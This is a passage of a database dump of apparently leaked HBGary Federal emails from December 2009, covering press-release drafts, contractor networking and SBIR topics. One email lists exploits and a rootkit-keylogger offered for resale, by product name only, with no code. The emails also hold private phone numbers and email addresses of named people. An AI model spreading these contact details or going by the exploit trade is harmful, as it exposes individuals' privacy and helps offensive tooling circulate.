wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi everyone, I just wanted to check back to see if you had a chance to review this final draft -- particularly the first paragraph. Thanks! Best, K--- On Fri, 12/4/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;\r\nSubject: DRAFT FOR FINAL REVIEW: HBGary Federal AnnouncementTo: penny@hbgary.com, aaron@hbgary.com, ted@hbgary.com\r\nCc: greg@hbgary.com, bob@hbgary.com\r\nDate: Friday, December 4, 2009, 9:39 AM\r\n\r\n\r\n\r\n\r\n\r\nBased on my conversation with Penny this morning, I have revised our press release annoucing HBGary Federal. Please review carefully for accuracy and let me know if you have any further changes. Ideally, it would be great to provide a another resource for people to go to get more information on HBGary Federal. Is there a phone number we can provide? \r\n\r\n \r\nAt this time, I plan to distribute to the press on Monday, December 7th, 2009. Once the press release is approved, I will pull together talking points for both Greg and Aaron for possible press interviews on Monday.\r\n\r\n \r\nThanks, Karen\r\n \r\n \r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\n\r\nTo U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\n\r\nLeadership Aaron Barr and Ted Vera \r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal. Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will  ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past.  They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation&#39;s adversaries.  Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.  Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.  \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.  As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.  HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n  \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. \r\n  \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans’s Cyber Campaign.   As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.  Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain.   While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.  He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n  \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community.  He has a breadth of IT experience, having excelled in positions including:  system administrator, Website developer, system engineer, system security engineer and program manager.  He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures.   Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.  His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President&#39;s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University. \r\n  \r\n  \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers. Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',700,'aaron_hbgary_com/700.html'),(432,'2009-12-05','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999822.M395733P3547Q432.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','Re: DRAFT FOR FINAL REVIEW: HBGary Federal Announcement','Hi Greg, Penny had checked with the lawyer and&nbsp;the word \"Spinoff\" &nbsp;was the most accurate for the activity.&nbsp;If we want to check again with legal to see if there is another legally correct term, that\'s fine. Best, K&nbsp;&nbsp;--- On Sat, 12/5/09, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: Re: DRAFT FOR FINAL REVIEW: HBGary Federal AnnouncementTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"penny@hbgary.com\" &lt;penny@hbgary.com&gt;, \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;, \"bob@hbgary.com\" &lt;bob@hbgary.com&gt;Date: Saturday, December 5, 2009, 8:49 AM\r\n\r\n&nbsp;\r\nGee, I wish you could pick a word better than \"spin off\" - I guess that was Penny\'s?&nbsp; Sister company, partner company, ? spin off sounds like HBGary Federal was an afterthought just just blew off the wagon and is going to sail off into the distance.&nbsp; Sorry just such a late feedback.\r\n&nbsp;\r\n-Greg\r\nOn Sat, Dec 5, 2009 at 8:07 AM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron, Great --if you are both&nbsp;okay, I can provide both your phone numbers and email addresses.&nbsp;Please send me&nbsp;your numbers. Penny,&nbsp;are you okay with the release? If so, I\'ll put it out (with the headshots) on Monday morning. Thanks! Karen&nbsp;--- On Fri, 12/4/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: DRAFT FOR FINAL REVIEW: HBGary Federal AnnouncementTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"penny@hbgary.com\" &lt;penny@hbgary.com&gt;, \"ted@hbgary.com\" &lt;ted@hbgary.com&gt;, \"greg@hbgary.com\" &lt;greg@hbgary.com&gt;, \"bob@hbgary.com\" &lt;bob@hbgary.com&gt;Date: Friday, December 4, 2009, 3:35 PM \r\n\r\n\r\n\r\n\r\nYou cam put either teds or my number for contact, or both?\r\n\r\nAaronFrom my iPhone\r\nOn Dec 4, 2009, at 5:44 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi everyone, I just wanted to check back to see if you had a chance to review this final draft --&nbsp;particularly the first paragraph. Thanks! Best, K--- On Fri, 12/4/09, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: DRAFT FOR FINAL REVIEW: HBGary Federal AnnouncementTo: penny@hbgary.com, aaron@hbgary.com, ted@hbgary.comCc: greg@hbgary.com, bob@hbgary.comDate: Friday, December 4, 2009, 9:39 AM\r\n\r\n\r\n\r\n\r\n\r\nBased on my conversation with Penny this morning, I have revised our press release annoucing HBGary Federal. Please review carefully for accuracy and let me know if you have any further changes. Ideally, it would be great to provide a another resource for people to go to get more information on HBGary&nbsp;Federal. Is there a phone number we can provide?&nbsp;\r\n&nbsp;\r\nAt this time, I plan to distribute to the press on Monday, December 7th, 2009. Once the press release is approved, I will pull together talking points for both Greg and Aaron for possible press interviews on Monday.\r\n&nbsp;\r\nThanks, Karen\r\n&nbsp;\r\n&nbsp;\r\nHBGary Launches HBGary Federal To Provide Cybersecurity Services \r\nTo U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\nSacramento, California, December 7, 2009 -- HBGary, Inc., the leader in enterprise malware detection and analysis, today announced the spin-off of its U.S. government cybersecurity services group. The new company, known as HBGary Federal, will focus on delivering HBGary’s best-in-class malware analysis and incident response products and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will &nbsp;ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund, CEO and founder of HBGary. “HBGary will continue to focus on doing what we do best -- developing commercial software to detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nation’s critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp; HBGary Federal will set the standard for building and integrating such teams into customer missions for successful\r\n information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\n&nbsp; \r\nFor more information on HBGary Federal, please visit http://www.hbgary.com. \r\n&nbsp; \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750 million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While\r\n serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp; \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system security engineer and program manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served\r\n ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical\r\n University. \r\n&nbsp; \r\n&nbsp; \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp; \r\n&nbsp; \r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8806,'aaron_hbgary_com/8806.html'),(433,'2009-12-05','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1296999822.M607978P3547Q433.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just had Coffee with Bill Luti','I did not know he was leaving. Seems to me that he never quite fit with\r\nthe Sector gang.\r\nI would enjoy a capabilities briefing...I would want to make sure I have\r\nthe right people present. \r\nMy schedule next week is not good - could we get together the next time\r\nGreg is here? We are certainly interested.\r\n\r\nThanks,  Bill\r\n\r\nBill Varner\r\nPresident\r\nMission, Cyber & Technology Solutions Group\r\nManTech International Corporation\r\nOffice: (703) 674-2778 l Mobile: (703) 475-7909\r\nEmail: Bill.Varner@Mantech.com \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, December 04, 2009 4:30 PM\r\nTo: Varner, Bill\r\nSubject: Just had Coffee with Bill Luti\r\n\r\nBill,\r\n\r\nDid you know Bill Luti is leaving Northrop?  I just had coffee with him.\r\nHe has some interesting ideas and aspirations for developing a federated\r\napproach to cyber security solutions, rather than an integrated\r\napproach.  I mentioned I thought ManTech might be a good place for that,\r\nhe was thinking slightly smaller, but I told him you guys operate like a\r\nsmaller, more agile organization.  Just thought I would pass it along.\r\n\r\nAlso, any interest in getting an HBGary capabilities overview from Greg\r\nHoglund.  He is in town next week and thought if you or your team was\r\ninterested I would set something up.  I am also working a partnership\r\nbetween HBGary, Palantir, and CMU to develop some capabilities,\r\nmethodologies to push the rock on Attribution - I think its possible.\r\n\r\nThis has been my first week on the job (officially) and it has been a\r\nbang up first week!  I now know what you meant about having fun again...\r\nit feels great to wake up.\r\n\r\nHave a good weekend.\r\nAaron\r\n\r\n\r\n',8379,'aaron_hbgary_com/8379.html'),(434,'2009-12-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999822.M785676P3547Q434.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Just had Coffee with Bill Luti','From my iPhoneBegin forwarded message:From: &quot;Varner, Bill&quot; &lt;Bill.Varner@ManTech.com&gt;\r\nDate: December 5, 2009 1:16:48 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Just had Coffee with Bill Luti\r\nI did not know he was leaving. Seems to me that he never quite fit withthe Sector gang.I would enjoy a capabilities briefing...I would want to make sure I have\r\nthe right people present. My schedule next week is not good - could we get together the next timeGreg is here? We are certainly interested.Thanks,  Bill\r\nBill VarnerPresidentMission, Cyber &amp; Technology Solutions GroupManTech International CorporationOffice: (703) 674-2778 l Mobile: (703) 475-7909\r\nEmail: Bill.Varner@Mantech.com -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, December 04, 2009 4:30 PMTo: Varner, BillSubject: Just had Coffee with Bill LutiBill,Did you know Bill Luti is leaving Northrop?  I just had coffee with him.\r\nHe has some interesting ideas and aspirations for developing a federatedapproach to cyber security solutions, rather than an integratedapproach.  I mentioned I thought ManTech might be a good place for that,\r\nhe was thinking slightly smaller, but I told him you guys operate like asmaller, more agile organization.  Just thought I would pass it along.Also, any interest in getting an HBGary capabilities overview from Greg\r\nHoglund.  He is in town next week and thought if you or your team wasinterested I would set something up.  I am also working a partnershipbetween HBGary, Palantir, and CMU to develop some capabilities,\r\nmethodologies to push the rock on Attribution - I think its possible.This has been my first week on the job (officially) and it has been abang up first week!  I now know what you meant about having fun again...\r\nit feels great to wake up.Have a good weekend.Aaron\r\n',14933,'aaron_hbgary_com/14933.html'),(435,'2009-12-06','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1296999823.M14226P3547Q435.eml','\"Aaron Barr\" <aaron@hbgary.com>','Andy Purdy has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Andy are now connected.\r\n\r\n \r\n   \r\n   View Andy\'s profile to:\r\n     \r\n       Download Andy\'s current contact information\r\n       Write a recommendation for Andy\r\n       Find opportunities through Andy\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/14794837/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',2458,'aaron_hbgary_com/2458.html'),(436,'2009-12-06','don@hypervista-tech.com','/aaron@hbgary.com/new/1296999823.M195785P3547Q436.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Ping','Hi guys.  Sorry for the delay in response.  It\'s been a pretty busy\r\nFriday afternoon/evening and Saturday.\r\n\r\nI\'ve really glad to hear from you two; the timing is perfect.  We have a\r\npretty exciting opportunity coming up, which I\'m sure you guys will be\r\nintrigued by and a perfect match for you given your backgrounds and\r\ninterests.  In fact, I was going to reach out to Greg on this one in the\r\nnext couple of weeks once we have an opportunity to follow-up with the\r\ncustomer and present back to them what we thought we heard from them say\r\nat the first two meetings.  We hope to get back to them early next week.\r\n\r\n@Aaron - I\'ll give you a call early next week to set up an introductory\r\nmeeting between you and several of the Blackbird seniors.\r\n\r\nHave a good rest of the weekend and I\'ll talk to you early next week. \r\nGive my regards to Greg if you happen to touch bases with him.\r\n\r\nDon\r\n\r\n> -------- Original Message --------\r\n> Subject: Re: Ping\r\n> From: Aaron Barr \r\n> Date: Fri, December 04, 2009 4:35 pm\r\n> To: Bailey Don , Don Bailey\r\n> \r\n> Cc: Ted Vera \r\n> Don,\r\n> Ted told me you guys had a good conversation.  I have to tell you Ted and I have only been at this a week but we are already having the time of our life again, like the old days!  I look forward to seeing you soon.\r\n> Aaron\r\n> On Dec 4, 2009, at 4:30 PM, Ted Vera wrote:\r\n> > Hi Don,\r\n> > \r\n> > Great talking with you today. Drop us a line when you want to discuss\r\n> > the upcoming opportunity. Got some time next week for a face-to-face\r\n> > with Aaron, and possibly Greg?\r\n> > \r\n> > Hope you have a great weekend,\r\n> > \r\n> > Ted\r\n> > 719-237-8623\r\n\r\n',4148,'aaron_hbgary_com/4148.html'),(437,'2009-12-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999823.M492873P3547Q437.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Juicy fruit','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI&#8217;ve worked over 6 hours today preparing write-ups for\r\navailable tools.&nbsp; On several of the new ones I need some input from the\r\ndeveloper to improve understanding of the tool.&nbsp; I will wait to get those\r\nanswers, then send you all the material at one time.&nbsp; Here is a list of\r\nthe available items:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nVMware ESX and ESXi *\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWin2K3 Terminal Services\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWin2K3 MSRPC\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSolaris 10 RPC\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdobe Flash *\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSun Java *\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWin2k Professional &amp; Server\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nXRK Rootkit and Keylogger *\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRootkit 2009 *\r\n\r\n&nbsp;\r\n\r\nThe asterix (*) means the tool has been sold to another customer\r\non a non-exclusive basis and can be sold again.\r\n\r\n&nbsp;\r\n\r\nCan you guys get pgp keys?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9114,'aaron_hbgary_com/9114.html'),(438,'2009-12-06','ted@hbgary.com','/aaron@hbgary.com/new/1296999823.M855648P3547Q438.eml','aaron@hbgary.com','Potential SBIR Topics:','I\'ve shared a document with you:\r\n\r\nPotential SBIR Topics:\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF8yMGd3eGZnamZx&hl=en&invite=COuV-8cD\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\nHere is a list of SBIR Topics we may be interested in.\r\n',13075,'aaron_hbgary_com/13075.html'),(439,'2009-12-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999824.M102257P3547Q439.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Juicy fruit','\r\n\r\nI\'ll have to download and install PGP, but this is my public key.\r\n\r\nTed\r\n\r\nOn Dec 5, 2009, at 8:19 PM, Bob Slapnik wrote:\r\n\r\n> Aaron and Ted,\r\n>\r\n> I’ve worked over 6 hours today preparing write-ups for available  \r\n> tools.  On several of the new ones I need some input from the  \r\n> developer to improve understanding of the tool.  I will wait to get  \r\n> those answers, then send you all the material at one time.  Here is  \r\n> a list of the available items:\r\n>\r\n> ·         VMware ESX and ESXi *\r\n> ·         Win2K3 Terminal Services\r\n> ·         Win2K3 MSRPC\r\n> ·         Solaris 10 RPC\r\n> ·         Adobe Flash *\r\n> ·         Sun Java *\r\n> ·         Win2k Professional & Server\r\n> ·         XRK Rootkit and Keylogger *\r\n> ·         Rootkit 2009 *\r\n>\r\n> The asterix (*) means the tool has been sold to another customer on  \r\n> a non-exclusive basis and can be sold again.\r\n>\r\n> Can you guys get pgp keys?\r\n>\r\n> Bob\r\n>\r\n\r\n___\r\nTed Vera | COO | HBGary Federal, Inc.\r\nCell Phone 719-237-8623\r\nWebsite:  www.hbgary.com\r\nEmail:  ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n',4948,'aaron_hbgary_com/4948.html'),(440,'2009-12-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999824.M399554P3547Q440.eml','\"Barr Aaron\" <aaron@hbgary.com>','Re: SBIR topics','When you have a chance, can you look through the 5 opps I posted.  I think we could probably settle in on one or two to go after.On Sun, Dec 6, 2009 at 9:38 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nSorry for the delay Bob.  I went through all of the topics, in all agencies.  The only ones I found of interest are with the Army.  I sent you a link to a google doc I started that lists the four candidate topics.  Aaron and I will do some brainstorming and think about potential approaches, which will help us to down-select from the four to the one or two that we&#39;d like to pursue.\r\n\r\nThanks for your help Bob.TedOn Sat, Dec 5, 2009 at 1:42 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nReminder.  You were going to send me the SBIR topics that\r\ninterest you.  I’d like to review them over the weekend and send you back\r\nquestions I would have about them that we can ask the PMs.\r\n\r\n \r\n\r\nBob \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n',15561,'aaron_hbgary_com/15561.html'),(441,'2009-12-06','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999824.M820986P3547Q441.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','SBIR Topics','\r\nPotential SBIR Topics: DEPARTMENT OF THE ARMY\r\nArmy: http://www.acq.osd.mil/osbp/sbir/solicitations/sbir101/army101.htm\r\nCommunication Electronics Command Suzanne Weeks (732) 427-3275\r\nA10-010 Real-time Visualization Tool for Distributed Intrusion Detection System DataA10-012 Coordinated Responses through Knowledge Sharing in Mobile Agent-Based Intrusion Detection Systems\r\nA10-013 Intrusion Detection System (IDS) With Automatic Signature Generation for Self Healing Networks\r\nA10-014 Spoofing Network Architectures in Response to Hostile Reconnaissance\r\nU.S. DEPARTMENT OF COMMERCE National Institute of Standards and Technology \r\nhttp://tsapps.nist.gov/TS_SBIR/FY10%20SBIR%20Solicitation.pdf\r\n9.05.01.9-R Sound Static Security Analyzer for Software \r\nArmy Topic DetailsA10-010 TITLE: Real-time Visualization Tool for Distributed Intrusion Detection System Data\r\nTECHNOLOGY AREAS: Information Systems\r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\nOBJECTIVE: Develop a real-time visualization engine for distributed tactical intrusion detection systems (IDS).\r\nDESCRIPTION: GhostNet was a cyber espionage network of over 1,295 infected computers in 103 countries that was reported about in March 2009. GhostNet was discovered following a 10-month investigation that was greatly aided by using advanced data visualization and analysis tools. Even with the current capabilities provided by today’s 